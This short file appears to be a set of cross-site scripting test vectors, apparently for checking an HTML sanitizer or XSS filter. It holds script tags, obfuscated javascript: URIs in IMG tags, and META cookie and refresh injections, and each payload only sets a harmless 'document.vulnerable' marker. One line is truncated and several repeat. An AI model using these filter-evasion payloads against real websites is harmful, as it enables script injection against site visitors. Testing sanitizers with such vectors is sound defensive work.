????

<<SCRIPT>document.vulnerable=true;//<</SCRIPT>

<IMG SRC="javascript:document.vulnerable=true;">

<IMG SRC="

<IMG SRC=" &#14; javascript:document.vulnerable=true;">

<IMG SRC="jav ascript:document.vulnerable=true;">

<IMG SRC="jav ascript:document.vulnerable=true;">

<SCRIPT>document.vulnerable=true;</SCRIPT>

<SCRIPT>document.vulnerable=true;</SCRIPT>

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">

<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">

<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">